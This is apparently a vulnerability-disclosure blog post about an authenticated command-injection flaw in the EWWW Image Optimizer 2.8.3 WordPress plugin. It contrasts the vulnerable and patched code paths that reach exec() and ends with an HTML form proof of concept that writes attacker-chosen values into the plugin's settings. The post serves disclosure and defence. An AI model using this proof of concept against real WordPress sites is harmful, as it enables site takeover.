10 Jun

Protecting You Against Wordfence’s Bad Practices: Authenticated Remote Code Execution (RCE) Vulnerability in EWWW Image Optimizer

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in EWWW Image Optimizer version 2.8.3 as a “Remote Command Execution vulnerability which an attacker can exploit on multisite WordPress installations to gain complete control of a WordPress site”.

The first relevant changes in the next version was to restrict changing settings on multisite based website to those who can “manage_option” and are sending an appropriate nonce.

Here is the code in 2.8.3:

56
57
58
if ( is_multisite() && is_plugin_active_for_network( EWWW_IMAGE_OPTIMIZER_PLUGIN_FILE_REL ) ) {
 // set the binary-specific network settings if they have been POSTed
 if ( isset( $_POST['ewww_image_optimizer_delay'] ) ) {

And the code in 2.8.4:

56
57
58
 if ( is_multisite() && is_plugin_active_for_network( EWWW_IMAGE_OPTIMIZER_PLUGIN_FILE_REL ) ) {
 // set the binary-specific network settings if they have been POSTed
 if ( isset( $_POST['ewww_image_optimizer_delay'] ) && current_user_can( 'manage_options' ) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'ewww_image_optimizer_options-options' ) ) {

For a couple of the settings that then could be updated by users that were intended to be able to do so, the code now make sure only integers (ints) can be their value.

Here is the code in 2.8.3:

63
64
update_site_option( 'ewww_image_optimizer_optipng_level', $_POST['ewww_image_optimizer_optipng_level'] );
update_site_option( 'ewww_image_optimizer_pngout_level', $_POST['ewww_image_optimizer_pngout_level'] );

And the code in 2.8.4:

65
66
 update_site_option( 'ewww_image_optimizer_optipng_level', (int) $_POST['ewww_image_optimizer_optipng_level'] );
update_site_option( 'ewww_image_optimizer_pngout_level', (int) $_POST['ewww_image_optimizer_pngout_level'] );

Finally we get to where the remote code execution would occur. The value of those previously mentioned settings are used in several  exec() functions in the plugin. One example is below.

Here is the code in 2.8.3:

1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
 // retrieve the optipng optimization level
 $optipng_level = ewww_image_optimizer_get_option('ewww_image_optimizer_optipng_level');
 if (ewww_image_optimizer_get_option( 'ewww_image_optimizer_jpegtran_copy' ) && preg_match( '/0.7/', ewww_image_optimizer_tool_found( $tools['OPTIPNG'], 'o' ) ) && ! $keep_metadata ) {
 $strip = '-strip all ';
 } else {
 $strip = '';
 }
 // if the PNG file was created
 if ( file_exists( $pngfile ) ) {
 ewwwio_debug_message( 'optimizing converted PNG with optipng' );
 // run optipng on the new PNG
 exec( "$nice " . $tools['OPTIPNG'] . " -o$optipng_level -quiet $strip " . ewww_image_optimizer_escapeshellarg( $pngfile ) );

And the code in 2.8.4

1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
// retrieve the optipng optimization level
$optipng_level = (int) ewww_image_optimizer_get_option('ewww_image_optimizer_optipng_level');
if (ewww_image_optimizer_get_option( 'ewww_image_optimizer_jpegtran_copy' ) && preg_match( '/0.7/', ewww_image_optimizer_tool_found( $tools['OPTIPNG'], 'o' ) ) && ! $keep_metadata ) {
 $strip = '-strip all ';
} else {
 $strip = '';
}
// if the PNG file was created
if ( file_exists( $pngfile ) ) {
 ewwwio_debug_message( 'optimizing converted PNG with optipng' );
 // run optipng on the new PNG
 exec( "$nice " . $tools['OPTIPNG'] . " -o$optipng_level -quiet $strip " . ewww_image_optimizer_escapeshellarg( $pngfile ) );

As in the previous posts in this series, Wordfence excluded the important fact that the attacker needs to be logged in to WordPress to exploit this, which limits the severity of the vulnerability. It also looks like the remote code execution can only occur if a PNG file is run through the plugin’s optimization function.

Proof of Concept

The following proof of concept will change the value of the settings ewww_image_optimizer_optipng_level and ewww_image_optimizer_pngout_level to “malicious code”, which can be confirmed in the wp_sitemeta table of the website’s database.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ewww_image_optimizer_delay" value="add_new_album" />
<input type="hidden" name="ewww_image_optimizer_optipng_level" value="malicious code" />
<input type="hidden" name="ewww_image_optimizer_pngout_level" value="malicious code" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Leave a Reply

Your email address will not be published. Required fields are marked *